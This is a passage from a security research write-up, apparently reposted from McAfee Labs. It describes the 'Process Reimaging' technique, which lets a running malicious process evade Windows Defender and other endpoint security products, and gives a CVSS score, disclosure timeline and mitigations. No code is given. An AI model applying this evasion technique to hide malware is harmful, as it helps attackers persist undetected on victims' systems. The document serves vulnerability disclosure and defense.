work) The Process Reimaging technique can be used in two ways with LoadLibrary FILE_OBJECT reuse attack vector: LoadLibrary (see figure 9 below) When an ESS or Application calls the GetMappedFileName API to retrieve a memory-mapped image file, Process Reimaging will cause Windows OS to return the incorrect path. This impacts all Windows OS versions at the time of testing. Figure 9 LoadLibrary FILE_OBJECT Reuse (LoadLibrary) – Process Reimaging Technique Using LoadLibrary Impacts all Windows OS Versions 2. CreateProcess (See figure 10 below) When an ESS or Application calls the GetMappedFileName API to retrieve the process image file, Process Reimaging will cause Windows OS to return the incorrect path. This impacts all Windows OS versions at the time of testing. Figure 10 LoadLibrary FILE_OBJECT Reuse (CreateProcess) – Process Reimaging Technique using CreateProcess Impacts all Windows OS Versions Process Manipulation Techniques Comparison Windows Defender Process Reimaging Filepath Bypass Demo This video simulates a zero-day malware being dropped (Mimikatz PUP sample) to disk and executed as the malicious process “phase1.exe”. Using the Process Reimaging Filepath attack vector we demonstrate that even if Defender is updated with a signature for the malware on disk it will not detect the running malicious process. Therefore, for non-EDR ESSs such as Defender Real-time Protection (used by Consumers and also Enterprises) the malicious process can dwell on a windows machine until a reboot or the machine receives a full scan post signature update. CVSS and Protection Recommendations CVSS If a product uses any of the APIs listed in table 1 for the following use cases, then it is likely vulnerable: Process reputation of a remote process – any product using the APIs to determine if executing code is from a malicious file on disk CVSS score 5.0 (Medium) https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N (same score as Doppelganging) Trust verification of a remote process – any product using the APIs to verify trust of a calling process CVSS score will be higher than 5.0; scoring specific to Endpoint Security Solution architecture Protection Recommendations McAfee Advanced Threat Research submitted Process Reimaging technique to Microsoft on June 5th, 2018. Microsoft released a partial mitigation to Defender in the June 2019 Cumulative update for the Process Reimaging FILE_OBJECT filename changes attack vector only. This update was only for Windows 10 and does not address the vulnerable APIs in Table 1 at the OS level; therefore, ESSs are still vulnerable to Process Reimaging. Defender also remains vulnerable to the FILE_OBJECT filepath changes attack vector executed in the bypass demo video, and this attack vector affects all Windows OS versions. New and existing Process Manipulation techniques which abuse legitimate Operating System features for defense evasion are difficult to prevent dynamically by monitoring specific API calls as it can lead to false positives such as preventing legitimate processes from executing. A process which has been manipulated by Process Reimaging will be trusted by the ESS unless it has been traced by EDR or a memory scan which may provide deeper insight. Mitigations recommended to Microsoft File System Synchronization (EPROCESS structures out of sync with the filesystem or File Control Block structure (FCB) Allow the EPROCESS structure fields to reflect filepath changes as is currently implemented for the filename in the VADs and EPROCESS ImageFilePointer fields. There are other EPROCESS fields which do not reflect changes to filenames and need to be updated, such as K32GetModuleFileNameEx on Windows 10 through the ImageFilePointer. API Usage (most returning file info for process creation time) Defender (MpEngine.dll) currently uses K32GetProcessImageFileName to get process image filename and path when it should be using K32GetModuleFileNameEx. Consolidate the duplicate APIs being exposed from NtQueryInformationProcess to provide easier management and guidance to consumers that require retrieving process filename information. For example, clearly state GetMappedFileName should only be used for DLLs and not EXE backing process). Differentiate in API description whether the API is only limited to retrieving the filename and path at process creation or real-time at time of request. Filepath Locking Lock filepath and name similar to lock file modification when a process is executing to prevent modification. Standard user at a minimum should not be able to rename binary paths for its associated executing process. Reuse of existing FILE_OBJECT with LoadLibrary API (Prevent Process Reimaging) LoadLibrary should verify any existing FILE_OBJECT it reuses, has the most up to date Filepath at load time. Short term mitigation is that Defender should at least flag that it found malicious process activity but couldn’t find associated malicious file on disk (right now it fails open, providing no notification as to any potential threats found in memory or disk). Mitigation recommended to Endpoint Security Vendors The FILE_OBJECT ID must be tracked from FileCreate as the process closes its handle for the filename by the time the image is loaded at ImageLoad. This ID must be managed by the Endpoint Security Vendor so that it can be leveraged to determine if a process has been reimaged when performing process attribute verification. Sursa: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/in-ntdll-i-trust-process-reimaging-and-endpoint-security-solution-bypass/
×
×
  • Create New...